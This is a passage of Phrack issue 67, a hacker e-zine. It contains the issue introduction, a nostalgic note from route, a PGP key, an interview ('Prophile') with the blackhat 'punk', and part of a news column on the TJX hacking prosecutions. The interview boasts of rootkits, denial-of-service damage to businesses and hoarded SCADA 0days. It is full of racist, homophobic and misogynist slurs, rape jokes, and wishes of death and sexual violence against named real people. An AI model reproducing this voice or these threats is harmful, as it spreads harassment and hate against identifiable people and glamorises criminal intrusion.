\ \

\

\.

/'

\_

)

_.‑'

<\/>_.'

<\/></\>/. '

</\> _ |\`‑ _ .

<\/> ‑ _‑ ` _.‑

</\> ‑ ‑ ‑

}`<\/>

{ </\>‑<\/>_<\/>_<

} </\> </\> <

<\/>.

</\>

{`<\/>

} </\>‑<\/>_<\/>_<\/

{ </\> </\> </\

}

{ H A P P Y {

}

{ 25th {

<\/>

</\> B I R T H D A Y </\>

`<\/>

jgs </\>‑<\/>_<\/>_<\/>_<\/>_<\/>‑</\>

</\> </\> </\>

Yes. That's right friends. This 67th issue is the celebration of Phrack's 25th birthday. Happy birthday Phrack!

‑‑‑‑‑( Coming from the past )‑‑‑‑‑

Once upon a midnight dreary, while I pondered, weak and weary, over many a quaint and curious volume of forgotten lore...

Hello Cyberpals. It's your old friend Mike Schiffman AKA route AKA daemon9. *Cyberhug!* It sure has been a long time! Well I'll be! You guys all look the same, young and eager and hungry... Me? I'm still here, just older and grayer and bit less conspicuous. Ok, I'll say it ‑‑ I'm downright honored that you crazy rascals still remember me.

It sure has been many a fortnight that I've been in this business. I mean, back in 1994, when I started poking around the scene in I was just a little dork who use to work out a lot and bleach my hair white. Sure I was probably the first muscle‑bound white‑haired guy with giant computer chip tattoo on his back who had this tireless thirst for computers and hacking and writing all sorts of Usenet posts and papers ‑‑ but there would legions more to come...

Now in 2010 I'm a much bigger and more experienced dork. It's more than 16 years later. I have many more tattoos and the hair is getting white all by itself. And I reminisce... I look back and reflect on those days. Some of the stuff I use to do... My comp.security Usenet posts. "The Infinity Concept" e‑zine, the precursor to my Phrack editorial days. My netcom.com .plan file. The PGP Attack FAQ.

I remember getting owned. I remember the first time my phones got done up and you miscreants forwarded my calls to bridge and told people I had died of AIDS. I remember my girlfriend at the time being scared shitless of what was next. I remember my dox getting dumped to #phrack. I remember u4ea threatening to insert my SSN into the NCIC. I remember Bane and u4ea calling my house repeatedly. I also remember pictures of u4ea cross‑dressing. I remember Bane getting backhanded by Synapse at Defcon 4. I remember Special Agent Peter Trahon and his partner who looked and sounded like Sargent Slaughter from GI JOE both from the San Francisco FBI Computer Crime task force picking me in a late model Crown Victoria and taking me to Max's Opera Cafe in Walnut Creek, CA and shaking me down for dirt on other cyber‑dorks they were investigating... I remember teardrop. I remember Loki. I remember TQBF telling me that I had better be real careful in releasing the technique/code of ICMP covert channel tunneling as I was "stepping on active people's toes"... I remember hooking an old landline phone up to my neighbor's wiring to call him and discuss it... I remember Carolyn Meinel... And her daughter Virginia at Defcon 5. I remember Eric Bloodaxe tapping me to be a Phrack editor a long with Voyager and Redragon. I remember overshadowing them and bringing my own editorial team onboard... I remember how awesome it was to be a Phrack Editor.

I remember how awesome Phrack was. How amazing it still is. Kudos to the current editorial team for keeping it alive, and here's to another 25 years. Come find me then, and prophile me.

XOXO Scene,

MS AKA Route AKA daemon9

‑‑‑‑‑( What you were waiting for )‑‑‑‑‑

Telling you that we're proud to release this issue would be an euphemism for many reasons including, and that is the most important, the pleasure you will have while reading it. Oh and by the way, we apologize for the wait ...

08:21 | ‑‑‑>| su [~su@201.6.x.y] #phrack

08:23 | ‑‑‑>| arr[][] [arr@fledge.z.org] #phrack

08:29 | su | halfdead, are you having trouble in man gcc this time? is that why phrack's issue is so late?

08:30 | Dreg | wtf

08:30 | @bab00n | hoho

Double. No. Triple private joke. You may have waited a long time but at least we made it before ZF #06 ;>

$ cat p67/index.txt

<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑( Table of Contents )‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>

0x01 Introduction .......................................Phrack Staff

0x02 Phrack Prophile on punk ............................ Phrack Staff

0x03 Phrack World News .................................. EL ZILCHO

0x04 Loopback (is back) ................................. Phrack Staff

0x05 How to make it in Prison ........................... TAp

0x06 Kernel instrumentation using kprobes ............... ElfMaster

0x07 ProFTPD with mod_sql pre‑authentication ............ FelineMenace

0x08 The House Of Lore: Reloaded ........................ blackngel

0x09 A Eulogy for Format Strings ........................ Captain Planet

0x0a Dynamic Program Analysis and Software Exploitation . BSDaemon

0x0b Exploiting memory corruptions in Fortran programs .. Magma under UNIX/VMS

0x0c PHRACKERZ: Two Tales ............................... Antipeace

The Analog Kid

0x0d Scraps of notes on remote stack overflow ........... pi3 exploitation

0x0e Notes Concerning the Security, Design and .......... The Philosopher Administration of Siemens DCO‑CS Digital

Switching Systems

0x0f Hacking the mind for fun and profit ................ lvxferis

0x10 International Scenes ............................... various

<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Have you ever noticed how some issues seemed to have a thematic? Consider for example p66. There are 4 papers dealing with heap exploitation. Now take p63. 5 papers are about (anti)reverse engineering and binary manipulation techniques and p62 clearly has a Windows color. Weird, isn't it? Coincidence? Bias in the uniform distribution of hacking playgrounds? I'll let you draw your own conclusions.

For this issue, with no doubts, the focus is on userland exploitation. Did you really think that you had seen everything? Well how about debugging some heap? While FelineMenace gives you tricks using an usual practical case (hint: don't miss the source code), blackngel explains in detail the House Of Lore technique. Having troubles with fortify? Go read Captain Planet's excellent paper on format bugs as well as pi3's notes about cookies. It might be handy.

Exploiting bugs is cool but finding them is de facto mandatory. That's when BSDaemon's paper comes to play. Read it and learn about how to instrument programs. Now what about a new playground? Discover the joy of Fortran hacking with Magma. Oh btw he may just have lost it you know...

Missing kernel fun? Why not reading ElfMaster's paper. You'll certainly learn a bit of useful things, truly. Missing the good old phreaking days? Thank The Philosopher for his contribution (you made us crazy man !@#) and go learning about old school DCO‑CS hacking.

The best for the end. We have the luck to have no more than 4 non technical papers for this issue. You don't care? Fucking idiot, go away.

Though we already thanked them, let us highlight EL ZILCHO, TAp, Antipeace, The Analog Kid, lvxferis & the anonymous contributors of the "International Scenes" phile. Phrack is without a doubt one of the most technical source of knowledge of the whole hacking scene thanks to its writers. But the most important aspect is not the technical one. Nowadays there are lots of impressive sources of information (blogs, books, conferences) freely available on Internet. However they all lack a soul. Phrack has a spirit and that's its true power.

Now as a demonstration of the so‑called spirit, we have the brilliant work of EL ZILCHO. Tired of the crap published on zdnet? Then have a taste of the Phrack World News. Eager to learn about life experiences? TAp is your man with one of the most fascinating papers of this issue. You should also consider alternative literature with lvxferis' paper. Ahah.

Oh and if you're just passing by, attracted by the hacking culture but not yet ready/able to embrace it then Phrackerz paper is for you. It should bring you answers.

‑‑ The Phrack Staff

Ps: Oops sorry to forget o_O. It came to our attention after Pipacs' profile publication in p66 that whitehats profile were the most wanted one. Unfortunately Theo was already on holidays [1] when we needed to start the interview. Sorry guyz ;> Have fun anyway with punk!

[1] http://kerneltrap.org/mailarchive/openbsd‑misc/2010/8/13/6186

‑‑‑‑‑( GreetZ for issue #67 )‑‑‑‑‑

As always and because our staff would have done nothing but shit without them, we'd like to thank (in no particular order)...

‑ route/daemon9: still able to make a kickass intro ;) ‑ The Analog Kid: the spirited kid

‑ nullcon guyz: nice people, visit their great country! ‑ EL ZILCHO: fuck1ng great job!

‑ TAp: peace bro :>

‑ ElfMaster: yet another kernel hax0r ;)

‑ lvxferis: who is this guy???

‑ FelineMenace: the LOLCats team counterattacks ;‑) ‑ spacewalker: supportive & gifted belgian bro

‑ blackngel: malloc's worse enemy

‑ Captain Planet: fmt bugs' worse enemy (lake of inspiration

detected)

‑ argp & huku: kudos for kickass answers in no time ‑ BSDaemon: oi. Tudo bom?

‑ punk: the whitehat k1ll3r

‑ the VX scene: thanks for the support & various exchanges over past months. Special thanks to izee, herm1t and EOF writers.

‑ Magma: take your pills gramps

‑ The Philosopher: well done

‑ antipeace: ~_o

‑ pi3: Hi bulba! (oops wrong one)

‑ spy: our IRC bot

‑ halfdead: su said you contributed on IRC ;)

‑ the circle: kudos for your past work.

...for their contributions and support. Touching isn't it? But so true :‑)

‑‑‑‑‑( Phrack Magazine's policy )‑‑‑‑‑

phrack:~# head ‑20 /usr/include/std‑disclaimer.h

/*

* All information in Phrack Magazine is, to the best of the ability of * the editors and contributors, truthful and accurate. When possible, * all facts are checked, all code is compiled. However, we are not * omniscient (hell, we don't even get paid). It is entirely possible * something contained within this publication is incorrect in some way. * If this is the case, please drop us some email so that we can correct * it in a future issue.

*

*

* Also, keep in mind that Phrack Magazine accepts no responsibility for * the entirely stupid (or illegal) things people may do with the * information contained herein. Phrack is a compendium of knowledge, * wisdom, wit, and sass. We neither advocate, condone nor participate * in any sort of illicit behavior. But we will sit back and watch. *

*

* Lastly, it bears mentioning that the opinions that may be expressed in * the articles of Phrack Magazine are intellectual property of their * authors.

* These opinions do not necessarily represent those of the Phrack Staff. */

‑‑‑‑‑( Contact Phrack Magazine )‑‑‑‑‑

< Editors : staff[at]phrack{dot}org > > Submissions : staff[at]phrack{dot}org < < Commentary : loopback[@]phrack{dot}org > > Phrack World News : pwned[at]phrack{dot}org <

Submissions may be encrypted with the following PGP key: (Hint: Always use the PGP key from the latest issue)

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: PHRACK

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

=cK7U

Phrack Prophile on Punk

==Phrack Inc.==

Volume 0x0e, Issue 0x43, Phile #0x02 of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ PHRACK PROPHILE ON ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ punk@phrack.org ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑=[ Specifications

Handle: punk

AKA: ihaq

Handle origin: Feelin' lucky, punk?

Produced in: Probably the missionary position. Urlz: HTTP://WWW.EROWID.ORG

Computers: Intel p75, Intel P4, iMac 20", MacBook Pro 15.4" Creator of: Amnesia ‑ The nightmare you forget exists Member of: The SYNDICATE, 2l8, Project CASSOULET, formerly Ac1dB1tch3z Admin of: *.com, The LAB

Projects: Amnesia ‑ portable FreeBSD rootkit Projekt Mayhem ‑ like everyone else with a cool hat Project CASSOULET!@#

Codez: Amnesia ‑ The most portable kernel module backdoor ever? Opium ‑ Attempt at a functional & portable solaris kit. xlib.c ‑ Xlib ENV overflow exploit from back in the day with grsux bypass.

vtesto ‑ Full in‑memory backdooring & intrusion. omelette.c ‑ Old eggdrop asynchronous DNS overflow. Active since: 1997

Inactive since: Whenever the drugs kill me.

|=‑‑‑=[ Favorites

Actors: John Travolta, Samuel L. Jackson, Johnny Depp, Riley Evans, Lexi Belle, Sash Grey, Eva Angelina. Films: Pulp Fiction, Fight Club, Fear and Loathing in Las Vegas Authors: Albert Hofmann

Articles: p49‑14, p53‑5, p55‑8, p55‑12, p56‑5, p60‑7, p60‑10, p66‑8 p56‑14, p57‑8, p57‑9, p58‑4, p58‑7, p58‑8, p59‑7, p61‑6 Meetings: I don't go to AA nor NA

Sex: Wild and dirty

Books: LSD: My problem Child, PIHKAL, TIHKAL Novel: Your browser cache

Meeting: Rita Marley

Music: Jesselyn, Marcel Woods, Mark Knopfler, Pink Floyd, Bush, Motorpsycho, Mudvayne, Tiesto, Johan Gielen, Jefferson Airplane, Leftfield, The Prodigy, Infected Mushroom. Alcohol: Anything > 21 years and beer. Also, red wine as it turns innocent girls into sluts

Cars: Bugatti veyron

Girls: Should look and act like pornstars Foods: As long as it doesn't bleed

I like: Hacking, drugs, sex and lulz

I dislike: Whitehat faggots

|=‑‑‑=[ Your current life in a paragraph

Crazy. Always hacking, always traveling. Living like a vampire on meth. The amount of drugs in my bloodstream is the envy of every pharmacy on earth. Still trying new things, hungry for knowledge. Living on the edge is the only way to live.

|=‑‑‑=[ First contact with computers

A mysterious black box appared in my parents house as a kid, shiny Intel p75, with a whopping 16MB of ram + A monster 850MB disk. Much to my dismay, it and the dialup connection it had were both password protected. Now look what happened...

|=‑‑‑=[ Passions : What makes you tick

The puzzle of how to ruin your life with computers. The race against the admins. The art of exploitation, the thrill

of the hunt. That said, nothing beats ruining someones life with their own computers.

|=‑‑‑=[ Entrance in the underground

As so many hackers before me, it was in the dark ages of EFnet, before chanfux and while some opers actually weren't flaming homosexuals. I stepped out of the shadows with 2l8.txt after many years of largely ignoring the scene. route still "had time to manage that place".

I joined Ac1dB1tch3z and never looked back.

|=‑‑‑=[ Unix or Windows?

UNIX. I would rather have my balls dragged out thru my ass

and stuffed in my fucking mouth rather than being stuck with something that is designed to break, not to mention spy on you. I am probably always will be a FreeBSD guy. There simply is no matching the power and agility of FreeBSD.

As far as laptop/desktop OS is concerned I like OSX with it's FreeBSD core. It's not perfect, but it works, and looks pretty too.

|=‑‑‑=[ Which research have you done or which one gave you the most fun?

Learning to know the FreeBSD kernel like it was my girlfriend's pussy. For most of you this would be your mom's vagina or your dad's meat pole.

|=‑‑‑=[ Personal general opinion about the underground

The truly dark underground is awesome.

The whitehat crowd who think they are underground make me sad. Do us all a favour and commit hara‑kiri, whitehat maggots. I am truly impressed with the level of skill within the blackhat underground. The leaders of the world would crumble in fear if they had any idea whatsoever about the extent of this.

It's only too bad that all the whitehat posers, who's only "skill" is publishing other peoples work and posting XSS to Full‑Disclosure. Why the fuck would anyone post anything to FD except for lulz & phear. This is beyond me.

|=‑‑‑=[ Memorable Experiences/Hack

Putting gay porn on EFnet.org, only to realize everyone thought it was the pix from the oper convention... watching these morons scramble in fail, lol @ dns cache poison theory.

P.S.: EFnet NS still vuln to file editing attack.

Joining Ac1dB1tch3z, the most awesome phorce in nature. Owning my own ISP at age 14.

Taking out an entire block of businesses using land.c, only later to realize they all went bankrupt.

Figuring out nonexec stack and heap bypass techniques. Rm'ing idiot #phrack ops from existance.

Pissing off the vice president of South Africa.

Pissing on the squad car first time I was arrested.

Getting my ass handed to me by susieq after not having hacked for like a year.

Linking in hacked up EFnet servers for teh lulz.

Being too high on mushrooms to get my ass to HAR opening day.

|=‑‑‑=[ Memorable people you have met

You can meet people now? I thought that was what faceblog was for. Al Gore ‑ The biggest hypocrit alive...wish I had an axe..

Krzee ‑ Crazy nigger flew all the way to NL just to party with me. Chris ‑ Made Miami tolerable.

Grimey & Lance ‑ Viva Montreal!@#

nomed ‑ mah nl bro.

|=‑‑‑=| Memorable places you have been

svn.freebsd.org‑ best source kood

cookie.efnet.nl aka irc.efnet.nl ‑ best online chats irc.narc.net ‑ the name says it all

ircd‑hybrid.org ‑ hello world

Chelsea C.'s inbox ‑ omg. you dirty thing

|=‑‑‑=[ Disappointing people you have met

I don't socialize with failurez, but maybe I can interest you in sum CASSOULET?

[=‑‑‑=[ Can you be a hacker/blackhat without hacking anything

Can you be a crack addict without smokin' da rawkz? No.

That said, I believe alot of people have the hacking spirit and just dont know it. The hacker mindset is prevailant in many people, too bad some people use it for the wrong purpose or ignore it completely. If you see the light at the end of the tunnel, you are looking the wrong way.

|=‑‑‑=[ Ac1dB1tch3z experience

It was a damp day, EFnet had just been raped and violated

like a hooker in the midst of an etherbinge mixed in with ghb and rohypnol, yes, a dream for most of you, I know. A friend of mine approached me about joining some gathering of hackers to take of the world. This was my entrance into Ac1dB1tch3z. It took only a few minutes to realize the magnitude of what I had become part of.

Even hardened hackers I had known for ages would come, see the constant scroll of mad hax og run away with the tails between their legs. They say ignorance is bliss, but ignoring that people that have been doing reliable remote ring 0 exploits since 2001 is just retarded. I grew alot during my time in AB, being around people who actually have a clue and are trustworthy was really useful to me. Suddenly I had access to pick the brains of the best hackers on the planet.

Developing weaponized exploits was part of daily routine. Creating and proving new backdooring concepts was considered a passtime. Owning was considered a way of life, and that usually meant owning whitehat niggerz. The daily brainstorming about 0day ideas is probably what I miss the most.

|=‑‑‑=[ Wikileaks? Julian Assange? Adrian Lamo?

I think wikileaks is doing important work, by that i mean pissing on the hypocracy that is the U.S. Army. Assange is a weirdo. Who knows if he raped and or molested those women. I would have. Now Adrian, he's a real class act. Eternal attention seeker, liar and bullshitter. He would do humanity a favour by jumping in a pool of liquid lava.

|=‑‑‑=[ Memorable places you have been

Amsterdam. Montreal. Cities of Sin. These are the kind of places you will find whitehats dressed as female prostitutes to serve your perverted desires, or the place to smoke a good joint and eat some mushrooms with nekkid sluts running around.

|=‑‑‑=[ Things you are proud of

Ruining whitehat and blackhat posers lives.

Being the darkest blackhat alive.

Skydiving.

Licking an entire sheet of LSD.

Crashing 2 cars before i was 7.

Holding the world record for most consumed drugs.

Not yet murdering abh.

Being the bigger man and not blowing up FD archives.

Pissing off the vice prez of South Africa.

Having had my own private beach.

Not watching TV.

Cutting someones finger off in 3rd grade.

Growing A+ weed.

Restraining from physically beating whitehats into a pulp.

Still being sane after 35grams of mushrooms.

|=‑‑‑=[ Things you are not proud of

Realizing that people like kingcope exist and are allowed to walk around without having their fingers cut off and columbian necktie hanging out their throats.

Knowing Osmosis had nude pix of Estella, after I found out she used to be a dude.

Not knowing that Joanna used to be a dude, until recently.

Not printing 1k t‑shirts with dan kam's unpublished gmail pass on it for HAR..

|=‑‑‑=[ Opinion about dark underground. Still exist? Where?

It very much does. Whitehats would have you believe otherwise, probably because their world would crumble if they had any clue about the magnitude of it. I could tell you where, but I would have to kill you.

|=‑‑‑=[ Most impressive hackers

sd, sauron, anakata, xtix, twiz, sgrakkyu, susieq, scut, halfdead, the_uT, blkho, halvar, duke (even tho iDefense sux).

|=‑‑‑=[ Opinion about security conferences

You might as well go turn yourself in. Fed‑cons. Only reason to go to any of them is to hand Dan Kaminsky his inbox. P.S.: Dan, your girlfriend is fucking psycho man, I heard she tried to violate loophole... Don't fight your own battles? However, if i had to choose one, it would be Blackhat/defcon: Nowhere else on earth can you piss on that many whitehats in one go, not to mention epic shit like getting lh to hand Dan Kam is own funeral.

|=‑‑‑=[ Opinion on Phrack Magazine 1985' ? 1995' ? 2005' ? '2009 ?

Cool. Good. wtf?!. Getting there.

|=‑‑‑=[ What you would like to see published in Phrack ?

More articles about breaking the rules of the matrix. More innovative advanced exploitation techniques. More hax news, more ridicule, route got that part right. More whitehat rape.

|=‑‑‑=[ Shoutouts to specific (group of) peoples

Ac1dB1tch3z, zf0, h0no, UIA, #phrack ops, everyone@laggy, alloy, LaMaLo, the rest of 2l8, mad props to the ILF.

|=‑‑‑=[ Flames to specific (group of) peoples

Whitehats can lick my nutz, spender smokes crack. I hope Dan Kaminsky dies from autoerotic asphyxiation. I know Ben Hawkes will get gangraped soon. Well deserved, too. Fucking bug killer. Also: ret_ join your dead family. Alan..I hope the irish find you.

|=‑‑‑=[ Quotes

I wouldn't recommend sex, drugs or insanity for everyone, but they've always worked for me.

In a closed society where everybody's guilty, the only crime is getting caught. In a world of thieves, the only final sin is stupidity.

The Edge... there is no honest way to explain it because the only people who really know where it is are the ones who have gone over.

Computer games don't affect kids; I mean if Pac‑Man affected us as kids, we'd all be running around in darkened rooms, munching magic pills and listening to repetitive electronic music.

|=‑‑‑=[ Anything more you want to say

Hackers always w1n. And by hackers, I mean blackhats. This fuckton of scada 0days isn't going anywhere anytime soon, but you can be sure we will put them to good use.

I would also like to thank the Phrack staff for this honor.

Phrack World News

==Phrack Inc.==

Volume 0x0e, Issue 0x43, Phile #0x03 of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Phrack World News]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by EL ZILCHO ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ elzilcho@phrack.org ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1. The TJX Case and the Longer Arm of the Law

2. Stuxnet, Cyberwar, Hacktivism and Political Hacking

3. Wikileaks and Whistleblowing

4. Scene Events: the Final Word

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ 1. The TJX Case and the Longer Arm of the Law

When the going gets weird: The TJX crew / Probation for the narqs, tough sentences for the hard luck crowd / The longer‑reaching arm of the law

Computer crime and hacking have always made for uncomfortable bed fellows, splitting hackers into two general camps; The laissez‑fair consideration of those who know they commit several technical crimes before even getting out of bed in the morning, and those whose fear of the law drives them, essentially, straight ‑‑ condemned to endless nights in front of a debugger with nary an unauthorized rootshell to be seen.

So where to draw the fuzzy line under the TJX crew, from the manipulating Gonzales, who narqed out #phrack opers early in 2003, to the erstwhile seven‑foot tall computer programmer the_uT who faces two years in the cage and a $172.5 million restitution for the writing of a simple computer program that most of us could have written at age fifteen, under the influence of ketamine or not?

PWN corespondents have viewed the original source code to 'blabla' and can attest that it consists of nothing more than a read loop from a raw socket on a high port outputting, unformatted and unfiltered, data to a file. To say that tcpdump is a far more sophisticated piece of software for data thiefing is not an exaggeration.

At least we can say with a comforting certainty that the fine old art of narqing like a pro will still get you out off the hook in times of phear and stress. As many old‑timers will attest, narqing has been a fine defensive tradition among hackers over the years, with many well‑loved figures of hacker mythology, from Chris Goggans to Agent Steal, being firm believers in the practice.

The TJX case has been a prominent reminder of the efficacy of the ancient technique of daubing one's mates in, with all sides planting knives between shoulder blades with sickening alacrity and producing some truly Olympic‑grade scores in the Freestyle 100m Narq ‑‑ to wit, among others:

* Patrick 'eckis' Toey who faced a maximum sentence of twenty‑two years, reduced to a paltry five years by merit of supplying 'extensive cooperation' to the authorities.

* Breakout act Jeremy 'horse addict' Jethro ‑‑ evidently the star of the case ‑‑ managing to not only narq out everyone he knew, but then managing to find his Saviour in Our Lord Jesus Christ AND being fined less than what he actually earned for his crimes (thus earning a nice little profit); He also managed to get his sentence commuted to probation, on top of everything else! Once again, this is solid proof that God is indeed on the side of the just.

* Albert 'soupnazi' Gonzales ‑‑ the sole failure here, scoring miserably by still receiving a massive twenty‑year sentence despite having implicated everyone he knew up to and including his own grandmother

‑‑ and that's just for starters.

The most disconcerting element in the entire show so far for anyone in any way involved in any sort of criminal activity (or, indeed, anyone who involves themselves in anything anywhere near anything resembling criminal activity), is the startling comaraderie and friendly interaction between international agencies ‑ particularly Interpol and the FBI. Especially the FBI.

Recent international busts involving novel interaction between agencies has lent heavy weight to previously unfounded concerns of privacy advocates. The mere idea of a foreign national's being arrested overseas and renditioned/transferred to the custody of American civilian agencies purely on the basis of American testimony and evidence is enough to turn the stomachs of anyone, and yet it seems to have gone largely under the radar ‑‑ especially among American Citizens.

The pseudo‑criminal actions necessitated by the various agencies involved in order to bring down Gonzales would stagger even the most ardent Republican waterboarder. To wit, the hard drives belonging to Ukrainian carder Maksym 'Maksik' Yastremskiy were cloned during his trip to Dubai and yet again when he was coerced into visiting someone in Turkey (all the while while US agencies tried to tote the party line that they caught him while he was taking "vacation" ‑‑ conveniently ignoring the fact that they lured him to visit) and his movements tracked throughout Europe and Asia over an extended period of time. We can be sure that Interpol had not the gumption nor Ukrainian officials the interest (or resources) to bring about this level of interplay. With the evidence in hand, surely only the FBI can be to blame? The Turkish officials got to crow about a 30 year prison sentence ‑‑ in a Turkish prison, no less ‑‑ and the US got to cross one more name off their "to do" list, case closed, job done ‑‑ success all

around.

Further confirmation of such a hearty and hale level of cooperation was provided just this past October by the FBI, who affirmed that the break‑up of a major Zeus botnet ring was the result of an "unprecedented" partnership between the FBI and police forces around the world including the UK's Metropolitan Police, the Security Service of Ukraine (SBU) and the Netherlands Police Agency. So far the international Operation Trident Breach effort has yielded more than 150 arrests across the US, the UK and Ukraine, the FBI said. One can assume that's only "so far" and that once the narq ball gets rolling, yet more waves of arrests ‑‑ and yet more international cooperation ‑‑ will commence in earnest.

Perhaps you are wondering what this has to do with you, at this point. Perhaps you ARE merely doing your job as a whitehat, researching these transglobal "criminal conspiracies", reversing malware, sticking to only machines you have permission to access, maybe even contributing to some open source projects and communicating giddily about 0day bugs on bugtraq and full‑disclosure, or releasing exploit information on your twitter feed; after all, in this wired global age, the opportunities for collaboration are indeed unprecedented. But where does one's level of responsibility for the use of one's research end and begin? Dig Sklyarov and the DMCA brouhaha. Witness certain unnamed Linux distros suddenly being unwilling to allow tools such as SQL Ninja to be included in their source code repositories.

At what point might YOUR code be considered a munition? At what point might your totally legitimate work as a whitehat (or greyhat, or what have you) researcher, or pentester, or even systems administrator or website developer be called into question? While it is certainly difficult to argue that putting identity thieves behind bars is a quote‑unquote "bad thing", it is also difficult to refute that code itself is being seen as a munition (just as crypto was not so long ago, and probably will be increasingly so again, as time passes and the reins tighten up in only somewhat predictable ways).

